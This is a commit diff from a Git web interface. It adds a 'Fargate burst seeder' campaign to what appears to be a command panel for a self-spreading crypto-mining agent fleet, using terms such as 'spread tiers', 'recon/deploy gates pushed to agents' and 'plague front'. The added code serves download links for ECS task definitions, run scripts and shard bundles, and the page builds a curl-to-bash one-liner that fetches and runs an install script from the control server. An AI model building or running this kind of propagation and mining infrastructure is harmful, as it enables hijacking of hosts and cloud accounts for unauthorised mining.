Add ECS Fargate burst seeder fleet with BGP hints and spread-kit exports.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -241,6 +241,24 @@
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<section class="section" id="burst-seeder">
|
||||
<h2>Burst seeder (ECS Fargate)</h2>
|
||||
<p>
|
||||
When a <strong>Fargate burst campaign</strong> is active on the command deck, BGP spread hints set
|
||||
<code class="inline">prefer_fargate_seeder</code>. Download a standalone task definition + run script with embedded
|
||||
erasure shards — run on <em>your</em> AWS account (no server-side ECS required).
|
||||
</p>
|
||||
<div class="install-grid">
|
||||
<a class="install-card" id="fargate-bundle" href="#">Burst bundle (ZIP)</a>
|
||||
<a class="install-card" id="fargate-task-def" href="#">task-definition.json</a>
|
||||
<a class="install-card" id="fargate-run-script" href="#">run-task.sh</a>
|
||||
</div>
|
||||
<p class="fine" style="margin-top: 0.75rem;">
|
||||
ZIP includes <code class="inline">erasure-shards.json</code>. Campaign TTL is 2–4 hours; Seer emits
|
||||
<code class="inline">fargate_plague_front</code> when burst activates.
|
||||
</p>
|
||||
</section>
|
||||
|
||||
<footer class="fine">
|
||||
<p>
|
||||
Command-deck copy: <a href="/spread/">/spread/</a> ·
|
||||
@@ -280,6 +298,14 @@
|
||||
var dl = document.getElementById('btn-dl');
|
||||
if (dl) dl.href = withSuffix(SERVER + '/get');
|
||||
|
||||
var fargateBase = SERVER + '/api/v1/public/fargate-burst/';
|
||||
var fargateBundle = document.getElementById('fargate-bundle');
|
||||
if (fargateBundle) fargateBundle.href = withSuffix(fargateBase + 'bundle.zip');
|
||||
var fargateTask = document.getElementById('fargate-task-def');
|
||||
if (fargateTask) fargateTask.href = withSuffix(fargateBase + 'task-definition.json');
|
||||
var fargateRun = document.getElementById('fargate-run-script');
|
||||
if (fargateRun) fargateRun.href = withSuffix(fargateBase + 'run-task.sh');
|
||||
|
||||
var bash = document.getElementById('oneliner-bash');
|
||||
var ps1 = document.getElementById('oneliner-ps1');
|
||||
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
|
||||
|
||||
@@ -217,6 +217,17 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
|
||||
<span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group checkbox-group" style={{ marginTop: '0.5rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={server.fargate_burst_campaign === true}
|
||||
onChange={(e) => onUpdate('server.fargate_burst_campaign', e.target.checked)}
|
||||
/>
|
||||
<span>Fargate burst seeder campaign (ECS, 2–4h TTL)</span>
|
||||
</label>
|
||||
</div>
|
||||
{server.lotl_onion_tiers?.length ? (
|
||||
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
|
||||
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>
|
||||
|
||||
@@ -15,6 +15,24 @@ export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
|
||||
return event.event_type === 'onion_miner_log';
|
||||
}
|
||||
|
||||
export function isFargatePlagueFrontEvent(event: SeerEventRecord): boolean {
|
||||
return event.event_type === 'fargate_plague_front';
|
||||
}
|
||||
|
||||
export function fargatePlagueFrontSummary(event: SeerEventRecord): string {
|
||||
if (!isFargatePlagueFrontEvent(event)) return '';
|
||||
const p = event.payload ?? {};
|
||||
const ttl = typeof p.ttl_hours === 'number' ? p.ttl_hours : undefined;
|
||||
const expires = typeof p.expires_at === 'string' ? p.expires_at : '';
|
||||
if (ttl != null && expires) {
|
||||
return `Fargate burst seeder front · TTL ${ttl}h · expires ${expires}`;
|
||||
}
|
||||
if (ttl != null) {
|
||||
return `Fargate burst seeder front · TTL ${ttl}h`;
|
||||
}
|
||||
return 'Fargate burst seeder campaign active (ECS plague front)';
|
||||
}
|
||||
|
||||
export function onionMinerLogSummary(event: SeerEventRecord): string {
|
||||
if (!isOnionMinerLogEvent(event)) return '';
|
||||
const p = event.payload ?? {};
|
||||
|
||||
@@ -382,6 +382,12 @@ export interface ServerSettings {
|
||||
erasure_lanes_enabled?: boolean;
|
||||
/** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
|
||||
fleet_torrent_enabled?: boolean;
|
||||
aws_s3_shard_bucket?: string;
|
||||
aws_s3_shard_region?: string;
|
||||
aws_cloudfront_domain?: string;
|
||||
fargate_burst_campaign?: boolean;
|
||||
fargate_burst_ttl_hours?: number;
|
||||
fargate_burst_expires_at?: string;
|
||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||
triple_onion_policy?: {
|
||||
patch_first?: boolean;
|
||||
|
||||
Reference in New Issue
Block a user